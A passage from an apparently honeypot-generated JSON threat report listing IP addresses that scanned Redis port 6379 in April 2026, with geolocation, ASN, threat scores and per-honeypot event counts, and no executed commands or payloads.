      "asn": 141998,
      "as_org": "China Telecom",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T16:21:29+00:00",
        "last_seen_30d": "2026-04-28T02:35:23.821000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "149.28.232.89": {
      "attack_count": 36,
      "first_seen": "2026-04-10T15:02:06.000Z",
      "last_seen": "2026-04-11T15:23:52.955Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:02:06+00:00",
        "last_seen_30d": "2026-04-11T15:23:52.955000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "160.119.76.49": {
      "attack_count": 35,
      "first_seen": "2026-04-28T17:40:54.000Z",
      "last_seen": "2026-04-28T17:46:06.439Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1328,
        "days_active_30d": 1,
        "ports_targeted_30d": 147,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-28T17:37:24+00:00",
        "last_seen_30d": "2026-04-28T18:35:56.511000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 846,
        "Honeytrap": 408,
        "Dionaea": 28,
        "Miniprint": 15,
        "Cowrie": 8,
        "Redishoneypot": 7,
        "ConPot": 6,
        "Ipphoney": 4,
        "Sentrypeer": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "123.129.223.75": {
      "attack_count": 34,
      "first_seen": "2026-04-09T04:36:54.000Z",
      "last_seen": "2026-04-09T04:39:01.514Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T04:36:54+00:00",
        "last_seen_30d": "2026-04-09T04:39:01.514000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 1
      }
    },
    "117.72.186.146": {
      "attack_count": 31,
      "first_seen": "2026-04-01T23:50:16.000Z",
      "last_seen": "2026-04-28T09:34:48.387Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T23:51:16.656000+00:00",
        "last_seen_30d": "2026-04-28T09:34:48.387000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "186.3.217.69": {
      "attack_count": 31,
      "first_seen": "2026-04-02T15:58:49.000Z",
      "last_seen": "2026-04-26T08:11:09.316Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Guayaquil",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T15:59:50.663000+00:00",
        "last_seen_30d": "2026-04-26T08:11:09.316000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "85.11.183.19": {
      "attack_count": 28,
      "first_seen": "2026-04-04T17:21:48.000Z",
      "last_seen": "2026-04-04T17:22:58.730Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2048,
        "days_active_30d": 30,
        "ports_targeted_30d": 283,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T04:36:10+00:00",
        "last_seen_30d": "2026-04-30T04:55:40.328000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1393,
        "Honeytrap": 631,
        "Mailoney": 8,
        "Redishoneypot": 6,
        "Dionaea": 4,
        "Tanner": 4,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "116.153.32.50": {
      "attack_count": 27,
      "first_seen": "2026-04-04T07:33:19.000Z",
      "last_seen": "2026-04-14T02:29:07.787Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:33:19+00:00",
        "last_seen_30d": "2026-04-14T02:29:07.787000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "14.18.118.84": {
      "attack_count": 27,
      "first_seen": "2026-04-07T18:24:45.000Z",
      "last_seen": "2026-04-27T19:26:28.266Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:24:45+00:00",
        "last_seen_30d": "2026-04-27T19:26:28.266000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "66.132.172.221": {
      "attack_count": 25,
      "first_seen": "2026-04-11T03:18:32.000Z",
      "last_seen": "2026-04-17T14:52:47.052Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T21:26:14+00:00",
        "last_seen_30d": "2026-04-30T18:47:03.331000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 58,
        "Redishoneypot": 12,
        "Honeyaml": 4,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "66.132.195.35": {
      "attack_count": 25,
      "first_seen": "2026-04-03T23:33:48.000Z",
      "last_seen": "2026-04-13T04:39:36.861Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T00:49:46+00:00",
        "last_seen_30d": "2026-04-30T13:19:10.097000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 62,
        "Redishoneypot": 12,
        "Tanner": 4,
        "Ipphoney": 1
      }
    },
    "119.45.248.246": {
      "attack_count": 23,
      "first_seen": "2026-04-24T09:31:04.000Z",
      "last_seen": "2026-04-30T05:14:21.061Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T09:31:04+00:00",
        "last_seen_30d": "2026-04-30T05:14:21.061000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 10,
        "Suricata": 3
      }
    },
    "40.119.26.30": {
      "attack_count": 23,
      "first_seen": "2026-04-28T03:00:00.000Z",
      "last_seen": "2026-04-28T03:02:11.473Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 10.8,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 13,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-18T09:39:48.309000+00:00",
        "last_seen_30d": "2026-04-30T17:43:41.097000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 6,
        "Redishoneypot": 5,
        "Dionaea": 2
      }
    },
    "51.77.47.129": {
      "attack_count": 22,
      "first_seen": "2026-04-03T18:12:38.000Z",
      "last_seen": "2026-04-20T11:08:18.880Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T18:13:41.125000+00:00",
        "last_seen_30d": "2026-04-20T11:08:18.880000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "101.206.108.12": {
      "attack_count": 21,
      "first_seen": "2026-04-08T07:35:57.000Z",
      "last_seen": "2026-04-28T14:34:48.833Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T07:37:05.841000+00:00",
        "last_seen_30d": "2026-04-28T14:34:48.833000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "101.206.108.14": {
      "attack_count": 21,
      "first_seen": "2026-04-06T15:35:59.000Z",
      "last_seen": "2026-04-23T15:17:09.255Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T03:36:28+00:00",
        "last_seen_30d": "2026-04-23T15:17:09.255000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 8
      }
    },
    "167.99.15.135": {
      "attack_count": 21,
      "first_seen": "2026-04-29T11:15:25.000Z",
      "last_seen": "2026-04-29T11:25:33.397Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 1.7,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 2,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-29T11:15:26+00:00",
        "last_seen_30d": "2026-04-30T23:19:31.110000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 23,
        "Redishoneypot": 8
      }
    },
    "142.93.4.248": {
      "attack_count": 20,
      "first_seen": "2026-04-21T02:46:41.000Z",
      "last_seen": "2026-04-21T02:47:54.908Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T02:46:42+00:00",
        "last_seen_30d": "2026-04-21T02:47:54.908000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 2
      }
    },
    "199.45.154.32": {
      "attack_count": 20,
      "first_seen": "2026-04-04T00:25:41.000Z",
      "last_seen": "2026-04-27T02:42:55.616Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1046,
        "days_active_30d": 30,
        "ports_targeted_30d": 307,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:22:46.459000+00:00",
        "last_seen_30d": "2026-04-30T23:07:25.590000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1046
      }
    },
    "39.107.103.199": {
      "attack_count": 20,
      "first_seen": "2026-04-05T06:29:15.000Z",
      "last_seen": "2026-04-14T16:33:24.160Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T06:29:15+00:00",
        "last_seen_30d": "2026-04-14T16:33:24.160000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 3
      }
    },
    "183.81.169.235": {
      "attack_count": 19,
      "first_seen": "2026-04-01T18:30:20.000Z",
      "last_seen": "2026-04-01T19:02:10.286Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 556,
        "days_active_30d": 4,
        "ports_targeted_30d": 148,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:05:26+00:00",
        "last_seen_30d": "2026-04-04T21:52:03.389000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 422,
        "Honeytrap": 131,
        "Redishoneypot": 3
      }
    },
    "211.57.129.104": {
      "attack_count": 19,
      "first_seen": "2026-04-20T03:12:14.000Z",
      "last_seen": "2026-04-30T02:29:56.108Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chinch'\u014fn",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T03:12:14+00:00",
        "last_seen_30d": "2026-04-30T02:29:56.108000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "36.139.84.140": {
      "attack_count": 19,
      "first_seen": "2026-04-03T00:30:16.000Z",
      "last_seen": "2026-04-16T04:54:54.718Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T00:30:16+00:00",
        "last_seen_30d": "2026-04-16T04:54:54.718000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "94.26.106.155": {
      "attack_count": 19,
      "first_seen": "2026-04-30T05:34:50.000Z",
      "last_seen": "2026-04-30T12:50:50.994Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-30T05:34:51+00:00",
        "last_seen_30d": "2026-04-30T15:18:52.873000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Redishoneypot": 6,
        "Dionaea": 2,
        "Honeytrap": 1
      }
    },
    "137.184.154.63": {
      "attack_count": 17,
      "first_seen": "2026-04-08T14:22:57.000Z",
      "last_seen": "2026-04-08T14:24:10.778Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-08T14:22:57+00:00",
        "last_seen_30d": "2026-04-15T05:16:35.183000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "ElasticPot": 10,
        "Honeytrap": 8,
        "Redishoneypot": 5,
        "Dionaea": 2
      }
    },
    "159.65.225.208": {
      "attack_count": 17,
      "first_seen": "2026-04-29T11:15:18.000Z",
      "last_seen": "2026-04-29T11:16:29.892Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:15:18+00:00",
        "last_seen_30d": "2026-04-29T11:16:29.892000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "20.127.185.20": {
      "attack_count": 17,
      "first_seen": "2026-04-23T22:16:31.000Z",
      "last_seen": "2026-04-23T22:18:40.552Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-12T00:05:46+00:00",
        "last_seen_30d": "2026-04-23T22:18:40.552000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "20.64.106.39": {
      "attack_count": 17,
      "first_seen": "2026-04-07T07:31:15.000Z",
      "last_seen": "2026-04-07T07:34:04.975Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 20.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 25,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T00:16:31+00:00",
        "last_seen_30d": "2026-04-30T00:31:45.393000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "20.14.89.155": {
      "attack_count": 16,
      "first_seen": "2026-04-30T02:20:44.000Z",
      "last_seen": "2026-04-30T02:22:46.135Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 7.8,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T06:17:54.839000+00:00",
        "last_seen_30d": "2026-04-30T02:22:46.135000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 3
      }
    },
    "20.65.219.49": {
      "attack_count": 16,
      "first_seen": "2026-04-21T08:29:49.000Z",
      "last_seen": "2026-04-21T08:31:16.971Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 20.8,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 25,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:23:04.349000+00:00",
        "last_seen_30d": "2026-04-25T19:09:32.455000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 13,
        "Redishoneypot": 3
      }
    },
    "52.180.136.250": {
      "attack_count": 16,
      "first_seen": "2026-04-09T16:50:34.000Z",
      "last_seen": "2026-04-09T16:53:31.274Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 18.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 22,
        "ports_targeted_30d": 4,
